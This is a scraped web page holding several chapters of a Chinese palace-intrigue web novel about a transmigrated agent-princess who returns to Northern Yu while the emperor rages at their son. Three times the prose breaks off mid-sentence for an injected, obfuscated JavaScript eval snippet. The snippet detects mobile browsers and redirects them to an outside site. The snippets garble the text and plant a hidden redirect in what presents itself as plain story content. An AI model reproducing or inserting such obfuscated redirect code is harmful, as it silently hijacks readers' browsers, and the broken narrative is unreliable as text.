晏儿早就认出我了,我却一直认不出来他,他要我带他走,我却一次次把他推开,真是蠢透了。 一直自诩聪明过人,过目不忘,却是个连自己儿子都能忘记的大傻叉。 从前做梦梦见了生他那么多次,却都被自己当成梦魇喝药压制住了。 过去的三载,明明可以轻松地带着晏儿远走高飞,却整整三年都错过了。 以至于让事情变成今日的局面,让他们母子再聚变成了地狱难度…… 太蠢了,蠢到可笑。 雪重楼怔怔地看着公主一会儿哭,一会儿笑,咬了咬唇,心中替她开心,也替她难过。 开心的是,她能活着离开那座皇城,可以回故土了。 难过的是,现在摄政王在朝中势力已经盖过了太后和小皇帝,且太后的身体一天不如一天,小皇帝能力欠缺,离亲政遥遥无期。 她一个失去兵权的护国公主,回到北幽,也不会有什么好日子过…… 彼时,苏苡安双眸紧闭,眉头紧锁,忍着炸裂般的头疼,努力地拼接脑海里关于北幽护国公主独孤遥迦的人生记忆。 当年,北幽六岁的小皇帝继位,太后主内,帮小皇帝稳定朝局,对抗摄政王。 长公主独孤遥迦主外,掌管玄铁营,目标是为北幽开疆拓土,吞并南离北疆广袤的黑土地。 以便寒冷的北幽能有更多肥沃的耕地,解决北幽子民吃饭的问题。 那时候,独孤遥迦才十三岁,优越的身形已经近乎于成年女子了。 可是,她怕自己稚嫩的脸庞镇不住那些骁兵悍将,一直都是戴着面具出现在玄铁营,把自己伪装得像个大人。 因此,玄铁营的人都不知道她的长相,更遑论是镇北军了。 当时的独孤遥迦虽然年少,但是心智成熟,又足智多谋,是天生的帅才。 她带着北幽的玄铁营把开疆扩土的侵略战打得有声有色,寥寥数年,就吞并了南离的大面积疆土。 直到后来,随着萧北铭在各场战役中声名鹊起,做了镇北军的主帅,又把那些地盘抢回去了! 与此同时,在北幽朝堂的针锋对决上,摄政王渐渐占了上风。 摄政王希望早已经过了及笄之年的护国公主下嫁给他的一个部下。 这样一来,他就可以慢慢接管她手中的兵权了。 独孤遥迦自然不同意,摄政王就采取了卑劣的手段,给她下了红颜劫,喝了必定会意乱情迷,一招就会有孕的那种强烈**,想逼她就范。 独孤遥迦是个倔强的性子,她立即拔剑杀了摄政王安排那个男人,更不愿意用她的将士解毒。 一个人策马跑出好远,跑到冰天雪地里,想用冰雪的低温抵抗红颜劫带来的周身热烈,硬抗过去。 好巧不巧,她发现了热毒发作,倒在雪地里的南离镇北王萧北铭。 仇人见面分外眼红,独孤遥迦当即就拔剑要去宰了他。 那时,独孤遥迦是无比激动的,因为,当时的镇北王看上去虚弱至极,没有任何反抗能力,就好像是躺在砧板上的一块肉,她可以不费吹灰之力就杀了他。 让南离的镇北军失去统帅,以后北幽再开疆拓土就容易了。 可是,因为独孤遥迦太过兴奋了,本来就**狂跳的心脏,跳动得更加剧烈,加剧了红颜劫的毒发。 以至于鼻口喷血根本止不住,最后带着无尽的遗憾,惨死在了雪地里。 恰巧这时候,苏苡安穿越了过来。 独孤遥迦是个品行高洁的女子,可她苏苡安是个十分想得开的老色胚。 眼看红颜劫就要让刚刚重活一世的她再死一次,雪地里躺着的又是一个柔弱不能自理的绝世美男子,完全长在他的审美上,拿他做解药,她一点都带不吃亏的。 她哪里还能有什么做人的基本素质? 面对要么做人要么做鬼的关键时刻,她毫不犹豫地选择了不做人。 苏苡安解了红颜劫,提裤子就跑了,回去还给自己配了避子汤。 可是,她不并擅长妇科,当时,避子汤的药效根本就没干过红颜劫的药性,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422963|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是中奖了。 后来,她又给自己配了滑胎药。 不曾想,她二五子的药方把自己弄得流了一个月血,身子骨都弄虚脱了,孩子也没打掉。 她只能认命地把孩子留下来了。 可是,她又怕太后和摄政王知道她有孩子了,会用这个孩子拿捏她。 就等怀孕九个多月的时候,伪装成了一个和家人走散的可怜小媳妇,找了一个山中的猎户住下待产。 可是,在她生产那日,寻她的士兵又找了过来。 害得她不得不躲到柴房生产,藏在草垛子里疼得七荤八素的却一声都不敢吭。 结果,造成了大出血,差点把她小命搞没了。 这也是她经常在梦里梦到这一段的原因…… 苏苡安穿过来这十个月,除了藏孕肚,就是想方设法各种贪渎玄铁营的军饷,以便她以后跑路。 她不想带兵打仗,也不想做护国公主,她只想做个美男环绕的潇洒富婆。 那时候,玄铁营十个月的时间,没打过一次进攻战,钱却一分没少花,惹恼了北幽的太后。 她就派护国公主去南离做细作,试图从朝堂内部瓦解南离,为北幽创造机会。 苏苡安巴不得有个合理的机会离开玄铁营呢,她欣然就同意了。 而后,苏苡安干掉了跟她随行的细作,准备独自去南离做生意,赚大钱,等赚到了足够的钱再把孩子接到身边。 只是,很不巧,她托付养孩子的那户猎户两夫妻,都在打猎的时候遇难了。 再另找人送的话,边境的百姓日子都过得朝不保夕,她怕孩子会随时失去监护人,一个人冻死饿死。 索性,她就大着胆子,把孩子送去了镇北军的军营。 一心盘算等镇北王把孩子养到三五岁,好带的时候,她就来摘果子。 如果镇北王能带着孩子回上京,那就更好了,她以后就不用大老远地奔波一次接孩子了。 却不曾想,她运气不好,送孩子的时候,被镇北军发现了,还被萧北铭追着射了一箭,跌落了山崖。 大概是摔到了脑子,再醒来的时候,她人就傻了。 第219章 风雪压我六七年,我笑风雪轻如棉 不管是作为特工的苏苡安,还是作为护国公主的独孤遥迦,她们的脑子里只有对上级任务的绝对服从。 于是,脑子坏掉的苏苡安坚定地去了南离,执行了太后给的潜伏任务,替代了在道观里的苏家姑娘。 只是,那时候她脑子摔坏了,智商和记忆都没有了,根本玩不过苏府的李姨娘,以至于在苏家受了三年的**。 一直到毁容沉塘的那一日,她才想起来自己是特工苏苡安…… 苏苡安想到了这里,又禁不住苦笑了出来。 我可真特么蠢! 当时一直以为自己又傻又失忆,全然归功于李姨娘的那些**。 还有当时自己一身伤疤,都想当然地认为是李姨娘打出来的,就直接抹了祛疤膏去掉了。 赖好多照照镜子,仔细看看伤痕,也能发现后背上的是利箭伤。 这样,或许就能早点想起来自己就是欺负了萧北铭的那个北幽恶女。 可惜,这世上没有什么或许,亦或者如果…… 本来,她还挺记恨萧北铭给她灌的那一碗真话药水,现在一看,不过是微微讨要一点利息罢了。 萧北铭在北疆十载的所有伤痛和噩梦,都是她带来的。 站在人家萧北铭的立场,她侵略他的国家,侵犯他的人,剐了她都不为过。 而且,我还掐**无辜又可怜的苏家姑娘,霸占了属于她的资源。 嬢嬢和阿远,有朝一日知道了他们一直呵护的人,竟然是他们的杀亲仇人,该有多难过啊…… 我才是真正的大恶人…… 恶女竟是我自己。 多可笑啊,这一切,真是太操蛋了…… 苏苡安的思绪从回忆中抽离,倏尔感觉有被眼神注目,陡然睁开了眼睛。 雪重楼正在看她,和她对视了一瞬,又连忙低眉敛目,双手奉上了自己的手帕,低低道了一声, “失礼了。” 自己一会儿哭,一会儿笑的,跟个精神病一样,他不看才奇怪。 一个喜欢看别人乐子的人,今日,却让别人看了笑话,怎么不算是一种报应呢。 苏苡安接过手帕,却没有用,而是仰天看车顶棚,眼神逐渐变得坚强起来: 有什么好哭的啊,哭能解决问题吗? 这么脆弱的人不可能是我! 过去的数年苦难,对于S级特工苏苡安来说,不过是生活的些许风霜罢了。 风雪压我六七年,我笑风雪轻如棉。 算起来,这具身体如今不过二十五六岁,一切都可以重新开始的! 老天奶垂怜我,让我用独孤遥迦的这具身体重生了。 可我却没有尽她作为北幽护国公主的义务,一心只想着卷款跑路,过自己理想中的潇洒人生。 是我太自私自利了,才被老天奶如此惩罚。 罢了,罢了,过往的种种,全是报应,我认了。 我逃了数年,终也没逃脱作为护国公主的命运,我现在老实了,也认命了。 往后余生,我都将以北幽护国公主的身份,为接回晏儿而努力。 苏苡安终于整理好了情绪,又蓦地开口问雪重楼, “赶车的那个人,可靠吗?” 雪重楼点头, “可靠,他是个小哑巴,无亲无友。 他从前乞讨快病死的时候,是我请了大夫救活了他,从此,他就跟着我了。 小哑巴虽然木讷了些,但是,年轻,有两把子力气,干活是把好手。” 苏苡安淡道, “你看好的人,定是错不了,带着他吧。 我们找个地方,装扮一下,我化作老夫人,你把妆卸了,穿清淡点,装我孙子,一路上,也好方便照应。” 我装她孙子……难道不是装儿子更好一些吗…… 雪重楼震惊一瞬,但是,他没有反驳,他没有反驳主子命令的习惯。 只要能把公主平安送回阙都,怎么都可以。 对于苏苡安来说,晏儿是她这辈子唯一的孩子了,她不会允许别人喊她娘亲,即便是假装的也不行。 一行三人,一路向北,直奔北幽。 这一日,在上京城的皇宫里,萧北铭身上的软筋散药效终于散去了。 他能走动的第一件事,就是冲去寿康宫找萧晏。 他知道,小东西肯定躲在了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422964|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 彼时,萧北铭真是恨到咬碎了后槽牙: 别以为有父皇护着,你就不用**。 竟敢给你老子下药,倒反天罡的孽种! 果然,恶人的血脉,是教化不好的,此子留不得了! 彼时,萧晏正在小榻上陪着皇爷爷下棋,祖孙一副其乐融融的画面。 萧北铭冲进来,二话不说,就掐住了萧晏的脖颈,把人拎了起来。 萧晏早就预料到了他暴戾的父皇会有这一出,用一副面无表情的死鱼脸看着他,一点都不挣扎,一副坦然等死的无畏模样。 太上皇萧昀可气坏了,立即抄起棋盘照着萧北铭的后背就砸了过去。 老将虽然迟暮,但是救孙孙的心情急切,那力度,是冲着要萧北铭的命去的。 萧北铭被砸了一个趔趄,手中的萧晏也飞了出去。 萧昀一个飞扑接住萧晏,护在了怀里,看着怒目圆瞪的萧北铭,厉声呵斥, “怎么,你从前杀兄杀弟杀侄,现在,还要杀子吗?” 萧北铭目眦欲裂, “父皇,你问过这小祸害干了什么没有?他给朕下毒,放走了百越的细作!” 萧昀一脸威严,冷声呵斥, “晏儿才六岁,他还是个小娃娃,就是犯了天大的错,也罪不至死! 以后,他就跟我在寿康宫生活了,分例从我的私库中出,不用你养。” 萧北铭痛心疾首道, “父皇,这是几个钱的事吗?此子心狠手辣,心肠歹毒,是非不分,长大了,绝对是个祸害。” 萧昀毫不客气地回怼, “晏儿再毒,能有你毒吗?他至少没闹出人命。 你若再想对晏儿下毒手,我就自尽! 记住,是你逼**生父。 让世人评一评,你们到底谁更毒!” 萧北铭目眦欲裂,气得浑身发抖,缓了好半晌才说, “父皇,你把他给我,让我问几句话,就给你送过来。” 萧昀不肯松手,反而把怀里的萧晏搂得更紧了, “你有什么话就在这里问!我这辈子什么场面没见过,还有什么狠话不能听吗?” 第220章 她不要钱,也不要我 对于萧昀来说,他现在失去了皇位,也失去了健康的身体,没有什么比含饴弄孙,颐养天年更重要的事了。 他怎么会允许别人动他的宝贝孙孙呢,失去晏儿这个乖孙孙,他才是真正的人生无望了。 太上皇以命相逼,萧北铭不得不服软,只能把犀利的眼神甩向萧晏,问道, “她走之前,说了什么?” 萧晏特别有骨气地说, “我娘什么话都没说,我也没问。 但是我知道,她不是南离的细作,父皇你在南疆兵败和她毫无关系,她是冤枉的。 我早就看出那个丁香有问题了,她总是明里暗里挑唆我和我娘闹。 只是,我娘太心软了,只把她留在了郡主府没带进宫,早杀了她,也不至于被如此栽赃陷害。” 萧北铭目眦欲裂, “你是被她蛊惑了!她和丁香是一伙的! 她是个心软的人吗?她的心,比谁都要硬!” 萧晏神色坚定,很大声说, “我才没有! 我娘走之前,我把那把削铁如泥的**给她了。 她也知道你们都中了软筋散,没有反抗能力。 她若真的是南离的细作,一定会去杀了你的,但是,她什么都没做就走了。 她是哭着走的,是你冤枉了她!” 萧北铭暴怒, “你还给她递刀子!混账!” 萧晏知道自己现在有皇爷爷用命保着,这中登也不敢拿他如何,他也没必要装乖了,抬头挺胸,十分硬气道, “你不是没死吗?紧张什么! 我的娘亲却真真是被你折磨掉了半条命。 我永远都不会原谅你。 你也不用担心我这个混账以后会祸害你,我从今日起就不会再出寿康宫了,我们父子,此生都不必再见。 多说无益,你走吧,不送!” 萧北铭额头青筋直跳,胸口剧烈地起伏着,真真是要气炸了, “你个逆子!你在跟谁讲话!早就知道你不是什么好东西,现在装都不装了是吧!” 萧晏转头就搂上了皇爷爷的脖颈,这中登,多看一眼他都嫌脏,也不想再多跟他说一句话了。 萧昀霸气护孙, “晏儿再叛逆,有你大逆不道吗?” 萧北铭气得五内俱焚,怒火冲到了天灵盖。 他把拳头攥得吱吱作响,奈何,眼前这一老一小又打不得,只能无比恼火地甩袖走人。 萧楚钰知道皇兄来了寿康宫,怕殃及池鱼,早就躲进了厨房里,装作为父皇熬药,可是,还是被萧北铭亲自寻了过来。 萧北铭还没开口,他就仓惶跪地,哭着求饶, “皇兄饶命啊,我真的什么都不知道,她在楚王府的时候,整日除了坑我的钱,也不干别的,我真的什么都不知道啊。” 萧北铭看这怂货鼻涕泡都哭出来了,两眼一闭,什么都没说,又转身走了。 罢了,她能装会演的,自己跟她朝夕相处都没察觉出来,他这个蠢人又能知道什么…… 勤政殿里,乌二正在领着几个太医在仔细检查。 他怕那个擅长医术的细作,会给皇上下什么慢毒。 然而,勤政殿的药房里,没有一种药草是有毒的,唯一的破绽,就是寝殿里的美容丸,有避孕的功效。 萧北铭顿觉两眼一黑: 天知道,他多么希望能和她有个孩子,可是,人家却一直在避孕…… 但凡我找个太医看看她每个月服用的这个药丸,也不至于被她蒙蔽这么久…… 我可真是蠢啊! 简直蠢到了令人发指的地步! 过去,他总是鄙视书中写的那些中了美人计的英雄豪杰,而今一看,自己还不如那些人呢。 深深的挫败感,让萧北铭体会到了心头滴血的痛。 他觉得,自己这辈子,都不会再快乐了…… 几个太医轮番给皇上请平安脉,都表示皇上目前的身体无异常。 但是,也不排除有中了缓毒还没有爆发出来的可能,要多观察。 萧北铭带着一颗凉透了的心,满脸颓丧地走到了她的书房。 中宫表笺还躺在书案上,一个字都没写。 现在,他终于知道她为什么没有愿望了。 大概,她的愿望里 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从前,她在上京城是街溜子,她不会是去过风月街,见过男花魁吧? 苏苡安虽然紧张,但是,她没有睁眼,她怕乌三对上她的眼神,再把她认出来。 乌三正好骑着马打这里路过,她刚刚就顺着马车帘子往里面撩了一眼,骑过去了,又走了回来。 城守对她抱拳见礼, “乌将军。” 乌三跳下马,摆摆手,示意城守退下,兀自撩开了马车帘子,笑盈盈道, “这位公子,可曾去过上京?” 苏苡安闻言,心中一凛,锦被之下的手,握紧了短刃,打算一旦暴露,立即就拔刀冲关。 他和雪重楼两个人的话,可以轻松干掉这些城守,冲到对面北幽的地界。 只是,小哑巴就带不走了,还有就是,她实在不想伤害乌三。 毕竟,她哥哥替自己养了三年儿子,自己伤了他妹妹的话,有点不像话…… 第221章 请问公子婚配否? 雪重楼不慌不忙地抱拳, “回女将军的话,不曾。” 乌三上下打量着他,又看看他身边时日无多的老妪,点了点头, “公子生得清清淡淡,一看就是个正经人,和上京城里那个妖艳**不一样,请问公子婚配否?” 乌三此言一出,苏苡安紧绷的心,瞬间又放了下来。 虽然乌三去过风月街,见过雪重楼,但是,好在她是个大直女,卸了妆就不认识了…… 雪重楼一本正经地信口开河, “回女将军,小人家中有一妻两妾。” “啧啧~” 乌二戏谑地道, “你还挺会享受的,本将军明人不说暗话,我挺喜欢你这清秀的小模样的,不知你家中是否有待字闺中的胞弟?” 雪重楼恭敬依旧, “回女将军的话,小人有两个弟弟,皆有妻妾,子女。” 乌三不悦,倏尔敛了笑容,没好气地吼了一句, “将军就将军,什么女将军?” 雪重楼倏尔蹙眉,恭敬又畏缩的姿态,低声唤了一句, “女将军。” 乌三见他害怕了,又降低了音量, “我再问你,你有儿子吗?几岁了?长得像你吗?” 雪重楼低眉顺眼道, “回将军的话,小人的长子九岁,次子七岁,幺子五岁,长得都很像我。” 乌三双手交叠抱在胸前,吊儿郎当地倚着车门,一脸遗憾地若有所思道, “你最大的孩子还比我小一轮啊,虽然我挺喜欢小弟弟的,但是这个弟弟有点太小了……啧啧……” 乌三咂摸了几下嘴,思忖了片刻,又从脖子上拽下一个玉牌给了雪重楼, “不过没关系,我就喜欢你这长相,而且,我现在也不着急成家,我可以等弟弟长大。 等再过十年,你的长子若是没有长歪,你就把他送到镇北军给乌三将军,自有你全家鸡犬升天的时候。” “是,将军。” 雪重楼又点头哈腰地接过了玉牌,态度卑微又乖顺。 彼时,他的额头已经冒出了细汗,脸色也发白了。 乌三见他怕成这个样子,就笑着安抚道, “本将军就是说话直了些,你别怕,就算你以后不把儿子送过去,本将军也不会找你麻烦的,你看,我都没打听你家住哪里。 不过呢,我劝你最好识相,毕竟,被本将军看上,是你全家的荣幸,是泼天的富贵,你尽管好好接着就是了。” 苏苡安现在总算知道乌三为何嫁不出去了,她对脸的要求,也忒高了点。 天下有几个男人能长成雪重楼这样? 还有这当街强抢民男的纨绔做派,哪个高门大户能受得了她? 这么一看,阿远还是有机会等到她单身回上京的。 虽然,他长得比雪重楼差挺多,但是,也勉强算是美男子那一挂的。 而且,他真的是个弟弟,对得上乌三的品位…… 马车终于出了雁回城,雪重楼把手中的玉牌交给了苏苡安。 玉牌的正面,刻着乌三的名字,背面,刻着‘平安喜乐’四个字。 看起来,是她的护身符。 这个色迷心窍的混蛋东西,八字还没一撇的事,就把自己的护身符送出去了。 乌家除了乌二,真就没有一个正常人了,这句话的含金量还在上升。 今日若不是亲眼所见,别人转述此事,她真的会觉得是胡说八道…… 倏尔,苏苡安的余光瞥见了雪重楼在掏手帕,目光随之上移,看到他竟然流鼻血了。 雪重楼若无其事地擦了一下。 苏苡安问他,“你哪里不舒服?” 雪重楼微笑摇头, “没有不舒服,我特别紧张的时候,容易流鼻血。” 苏苡安不置可否,又闭上了眼睛,决定找机会,给他把把脉。 她可没听说过人紧张的时候会出现流鼻血的现象,若有,肯定是这人有大病。 再说,他花魁出身,什么紧张刺激的场面没见过? 刚刚那小场面断不至于把他吓得脸色苍白,额头冒冷汗。 他想隐瞒什么? 彼时,雪重楼虽然面色平静,但是,他正在忍受着万蚁噬心之痛。 他突然离开了上京,错过了北幽一年一次给他的送解药的时间。 现在只能尽快回到阙都,找太后拿到今年的解药…… 南离人口中的雁回山,在北幽这边叫公主岭,因为当年护国公主来此驻守而得名,山下的城池,也跟山同名。 现如今这座山都没有明确都归属,两边都认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422966|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为是自己的,但是,又默契地一方占山南,一方占山北。 谁要是越界,那就是开战的意思。 马车驶入公主岭,苏苡安犹豫着现在要不要去玄铁营看看她的将士。 想了想,还是作罢了。 她已经离开这个地方六年了,说不定,玄铁营已经被摄政王的势力渗透了个彻彻底底。 她有命进去,都不见得有命出来。 下马车的时候,苏苡安特意伸出一只手让雪重楼搀扶她下马,切到了他的脉,她心里咯噔一下,表面却是云淡风轻地说, “赶了这么些日子的路,趁着阳光正好,就在公主岭歇三两日吧。” 雪重楼抬头看看正当空的日头,抿唇一笑。 他体内的毒已经开始发作了,倘若多在路上耽误三两日,他就要死掉了。 “是,今日天气真不错,现下已经入冬了,再往后就很难有这么暖和的天儿了。” 雪重楼的观念里没有抗命的意识,他只用一个微笑一句话的时间,就坦然地接受了自己的死期。 能平安护送公主回到故土,他已经完成了使命。 以后的每一天,都是赚的。 客栈里,苏苡安用面纱沾酒,一点点地卸下了脸上的老妪**,而后把自己泡进了浴桶里。 闭目沉思。 一路上,她都在想自己在南离做细作的这六年,太后不可能对她不管不顾,一定有人在暗中监视她的行动,她怀疑了她认识的每一个人。 今日,终于锁定了目标,那就是雪重楼。 怪不得他能力出众,又对她唯命是从,原来不是因为她在他身上砸的那三百万两银子,而是使命使然。 在他的眼里,我这个细作这些年的表现应该还不错吧。 可是,他现在都快**,为什么还同意我逗留呢? 不是应该尽快赶回阙都,找太后要解药吗? 难道他是想对我隐瞒身份吗? 凡是用命来隐瞒的事情,背后定有不可告人的大秘密。 我和太后是母女啊,何至于此…… 苏苡安眉头紧锁,一直在思考雪重楼这个人到底是去是留,一直到洗澡水泡凉了,她终于做好了决定。 她从浴桶中起身,穿好了衣裳,去隔壁,叩开了雪重楼的房门。 第222章 玄甲毒蝎,拜见护国公主 彼时,雪重楼的间歇性毒发症状恰好停止了。 他正坐在桌边喝茶,一点都不想睡觉。 没有几天活头了,用来睡觉太浪费了,可以用这个时间幻想一下,他死了,公主会不会为她难过。 起码,公主不会让她曝尸荒野,应该会给他埋了。 有人收尸,这样的结局已经好过了大多数的细作。 如果她能为我的死难过一小会儿,也算不枉此生…… 听见敲门声,雪重楼很是意外,都这么晚了,不知公主还有何事。 他连忙起身,三步并作两步来到了门口,见到了公主,展露了得体的笑颜, “主子。” 苏苡安很关切地问,“你好些了吗?” 雪重楼微微点头, “嗯,都好了,多谢主子关心。” 死之前,还能得到公主的关心,心中暖暖的,毕竟,这世上,他认识的其他人只会关心他有没有用,能不能完成任务,谁会在乎他身体好不好。 苏苡安自顾自地走进去,拉开凳子在桌边坐下, “你以后有什么打算吗?” 雪重楼站在她的面前,十分恭敬道, “自然是跟着主子,主子去哪里,我就去哪里。” 苏苡安叹了一口气,愁绪爬上了眉梢, “你知道我是什么人吗?” 雪重楼微微一笑,语气里藏不住的戏谑, “你给我钱,我为你当差。你知道的,我们这种出身的人,拿钱办事,从来不多嘴的。” 苏苡安苦涩一笑, “那你可以猜一猜嘛。” 雪重楼不假思索回道,“定是一个令我高山仰止的贵人。” “对,没错。” 苏苡安点点头,又长叹了一口气,好似深思熟虑之后,才艰难做出的重大决定, “以后你跟着我,可没办法像以前一样富贵了,还随时都可能送命。 我可真真舍不得让你去死,你还有大好的年华呢。 不像我,我无法选择自己的出身,但是,你的人生还可以光明灿烂。” 雪重楼一怔,好似没听懂她的话,歪着头,睁大了眼睛去看她,好像一只认真聆听主人话语的忠犬。 苏苡安又语重心长地继续说道, “雪重楼,你此次护送任务,到此结束,咱们从前签约的十年契约,也作废了,你自由了。 我在公主岭的钱庄还小有积蓄,明日,我都拿给你,虽然不多,但是,也足够你富足地过两辈子了。 你若是胆子大,还可以回去南离,我的那些风月产业,都送给你了。” 雪重楼简直不敢相信自己听到的这些话,震惊地看着她,声音都颤抖了起来, “你说,我自由了?” 他小时候经历过大饥荒,被父母卖了换粮食,从此被当成了细作培养,自由二字,从此再和他无关。 他无非就是太后身边一个会说话,会喘气,且很好用的工具罢了,如今,他作为工具的生命,已然走到了尽头。 这也很正常,细作能活过二十岁,就算是高寿了。 他本该在那个饥荒年和邻居家的小伙伴一样,被父母交换,变成别人家的盘中餐腹中肉。 可是,他活下来了,多余的这二十载,都是他赚到的。 更何况,他临死前,还能听见主子愿意给他自由,为他安排一个光明灿烂的未来,此生,足矣…… 雪重楼非常激动,眼泪和鼻血竟然一起流了出来。 苏苡安装作什么都不知道,讶异道, “你怎么了,怎么又流鼻血了?” 雪重楼后退一步,扑通一声跪在了地上。 苏苡安看他这表现,就知道自己的攻心计奏效了,故作紧张地去搀扶, “你这是怎么了?有话起来说。” 雪重楼跪着后退几步,示意她别靠近,泪眼朦胧地注视着她,喉结滑动几许,哑声道, “我没有未来了,但是,公主还有未来,愿公主前路光明灿烂。” 苏苡安故作震惊,“你说什么?” 雪重楼毕恭毕敬地磕了一个响头, “玄甲毒蝎,拜见护国公主。” 苏苡安满眼都是不可置信,似乎是喃喃自语, “玄机营……甲级细作……你竟然是母后的人?” 雪重楼直起身,歉疚地点了点头, “从前,我是太后身边最得力的细作,但是,以后,我不是了,我就要死了。 人之将死其言也善,公主,你要小心太后啊。 太后当年派出去跟你随行的细作都死光了,她从那时候起,就已经不信任你了。 太后现在之于你,比摄政王更加危险。” 苏苡安掏出自己的手帕,走过去满眼关切地为他擦鼻血, “我不认识什么毒蝎,我只知道,你是我花三百万巨款聘用的雪重楼,是我在命悬一线时的救命稻草,是我在这个世上最信任的人。 我可以死,但是,你必须要活着。 玄机营控制细作的毒药我听说过一些,从毒发到死亡还需要十日八日,我们现在就快马加鞭回阙都。 这章没有结束,请点击下一页继续阅读!今夜,你什么都没跟我说过,我什么都不知道,你去找母后拿解药,好好活下来。” 苏苡安的一番话,把雪重楼感动得涕泪滂沱。 他终于被人当成人看了,他的死活,也终于有人在乎了。 玄机营的毒蝎不会背主,但是,他雪重楼可以。 雪重楼十分动容,眸光坚毅地说, “三百万可以建一支军队,公主在我身上花的三百万不会浪费。 我会好好活下来,帮助公主重新掌军。” 苏苡安颇感欣慰,攻心计奏效了,她起码可以知道,这些年他跟太后汇报过什么,自己也好有个提前准备。 而且,身边有个得力的人帮衬着,总比自己单打独斗强。 他若真的投诚于我了,我也可以给他彻底解毒。 生路就在眼前,就看你是不是真心走。 护国公主独孤遥迦,结束了六年的细作生涯,回到北幽的皇城阙都。 她不仅没有受到任何礼遇,拜见太后的时候,甚至连太后的永寿宫都没有进去。 北幽太后洛云初让她跪在长寿宫的院子里思过。 苏苡安低眉顺眼地跪在院子里,虽然早有准备,事先已经穿了厚厚的护膝,全身涂抹了防冻膏,但是,此刻的寒风中罚跪还是让她冷到了骨髓。 可是,没办法,为了有朝一日接回晏儿,她必须要忍。 现在她四面楚歌,必须要维持护国公主原本的人设。 不就是对太后言听计从的妈宝女和一切为了皇弟着想的伏弟魔嘛? 没关系,她都能演! 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第223章 护国公主回宫 苏苡安刚刚跪了一会儿,就下雪了。 北幽严寒,初雪就大得像鹅毛,须臾的时间,苏苡安就被大雪淋白了头发。 她发着抖,心中的怨气比鬼还大: 死老太婆,惯会苛责我,怎么还不让我起来啊。 哪个做娘的能受得了让自己的骨肉遭这份罪? 难道这公主是你捡来的? 北幽小皇帝孤独珺璟听说皇姐回来了,一路哭着跑了过来, “皇姐,皇姐……” 孤独珺璟跑过来,抱着皇姐就开始哭诉, “皇姐,你终于回来了,怎么在这里跪着啊,有什么话,咱们进去说。” 苏苡安对于小皇帝的记忆,还停留在七八年前,那时候,他还是个小崽子呢,现如今,已经介于青年和成年男子之间,是个高大的小伙子了。 这个小皇帝,从小就跟她感情好,嘴也甜,整日皇姐前,皇姐后的,哄得皇姐十三岁就出门为他打江山了。 别人嘴甜要钱,他嘴甜,要命。 这位护国公主就算在最风光的那几年,也是一点实质性的好处没捞着,连个公主府都没有,更别说钱财了。 只得到了小皇帝的几句‘谢谢皇姐’‘皇姐你真好’,她竟然连一句怨言都没有。 唉,独孤遥迦就一纯纯大傻妞! 苏苡安默默地同情了这个扶弟魔公主三秒钟,才轻轻推了推小皇帝,哽咽道, “母后让我在这里罚跪思过。” 独孤珺璟一边哭,一边往起来拽人, “皇姐何错之有?你这些年孤身在敌营,使南离皇位更迭,暴君上位,还让南离输了在百越的战事,南离离亡国不远了,只有功,没有过,你快起来,跟朕走。” 独孤珺璟连拉带拽,强行把皇姐拖进了永寿宫。 北幽太后洛云初正端坐在上位喝茶,一脸久居高位者的不怒自威,丝毫也没有母女再见的重逢之喜。 苏苡安瞥了一眼这个便宜母后,美则美矣,只是,一看就是羸弱的久病之相,又低眉顺眼地跪了下来, “遥迦给母后请安,母后万福金安。” 这次,小皇帝不去拽她了,只是蹙着眉头为她掸去头上和身上的雪花。 洛云初严厉的目光扫过护国公主,落到小皇上身时,又变得柔和起来,充满了慈母之爱, “皇上,怎么没披件披风就出来了,快坐下,喝杯热茶,再尝尝母后给你做的绿豆糕和核桃酥,你最爱吃的。” 独孤珺璟一脸怨气,哽咽道, “母后,你怎么不问问,皇姐一路上风尘仆仆,她饿没饿,渴没渴? 外面那么大的雪,你门都不让她进,还罚跪她,呜呜呜……” 小皇帝气得像孩子一样哭了起来,和他这身庄重的黑金龙袍,特别不相称 苏苡安内心不由得感叹一声: 难怪他都十九岁了还没能亲政呢,谁家的皇帝这么幼稚啊? 看起来,和九岁的时候比,也没有一点长进。 不过,也算这位护国公主这么些年没白白做扶弟魔,起码,弟弟是个有良心的,还能为她说句公道话。 洛云初撇了撇嘴,对小皇帝一副恨铁不成钢的模样,目光转向苏苡安,语气充满了威严, “遥迦,你知错了没有?” 苏苡安长睫垂落,看着地面,学着记忆里独孤遥迦对母后的那份恭敬和顺从, “我知错了,我不该留着萧北铭的命,活着回来。” 